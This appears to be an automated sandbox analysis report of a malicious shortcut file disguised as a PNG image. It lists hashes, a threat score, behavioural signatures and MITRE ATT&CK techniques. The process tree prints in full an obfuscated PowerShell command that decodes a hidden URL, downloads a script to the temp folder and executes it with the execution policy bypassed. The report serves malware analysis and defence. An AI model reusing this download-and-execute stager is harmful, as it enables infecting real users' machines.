f84c286e554726b1c718251cf8f54525501d537369135e92fde6e5ceb986bf9f

Analysis

max time kernel
149s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 16:27

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General

Target
PHOTO-926239403.png.lnk
Size 2KB
Sample260604-tydr6abw3p
SHA256 f84c286e554726b1c718251cf8f54525501d537369135e92fde6e5ceb986bf9f
MD5 9743874c46631176fff148f94525f6a6
SHA1 42b40f25d025f23e42aa44f98466ce08bf022f26
SHA512 3c94e3e27868b7f87611e16d80c4e9d618a7cb76e25bd10e672bb367262d1877686b868c3446ce4e26e36f3edf6c282d47eac0f35f2a15d2aa554b5642f24395
TLSH
T19A410E501BE6032CEBB79F34D8FD6217B9217806EA229F5F01C403498670410EDAAF3E
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
960	powershell.exe
784	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
784	powershell.exe
784	powershell.exe
960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	960	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 784	2960	cmd.exe	83
PID 784 wrote to memory of 960	784	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-926239403.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$NSHIPR8=\"266557200304240261655840824095548137264\" -as [System.Numerics.BigInteger];$ZTNWwc=\"118418695622015326066750477885294311104\" -as [System.Numerics.BigInteger];$NzTkKJJE=$NSHIPR8 - $ZTNWwc;for($ODAl0eqU=100+156;$NzTkKJJE -ne 0;$NzTkKJJE=$NzTkKJJE / $ODAl0eqU){$CA33iq+=[char]([int]($NzTkKJJE % $ODAl0eqU));};iwr $CA33iq -OutFile $env:TEMP\0ltiH.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\0ltiH.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\0ltiH.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:960

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 1KB
SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
MD5 0e04c74727fbfaf6d31eb28de212bb60
SHA1 1829716a822437f478f6b0481084143a24944554
SHA512 f8ad65f30fdcb4d96f360d780fb411474fa1d7aaa146cb9382a5dbce23751291ba597e74826cfaf44f85b6a7db2525ad06c1378f5486b61e94f7f4b14c8053da
TLSH
T10231003133B5A0D889263F471D3C59C423BF4356B694AE4C7694625EC92740BAF322F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 33e817d8651e7f32b7916262c5b2849e8601a67a3370b856dd774e4a9d750edc
MD5 4bb9ae788ba448fdbb5b0d3ae7011175
SHA1 e2242929c93c701d73df2a8b0c12fe2ffc271b9e
SHA512 93103f02b95244f6b569387cd84a9260afb3dfe300c142a274809b66447267889c242564b4656617dfbf077ab58ccf9e60f375483abbc27db0a2f4820c5b6b96
TLSH
T1D9215973B79CC5F5C9D5117A1088AD01B173C3C7049FDECB6A84C518D57F58ADB941A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_1cniecst.bz5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1cniecst.bz5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH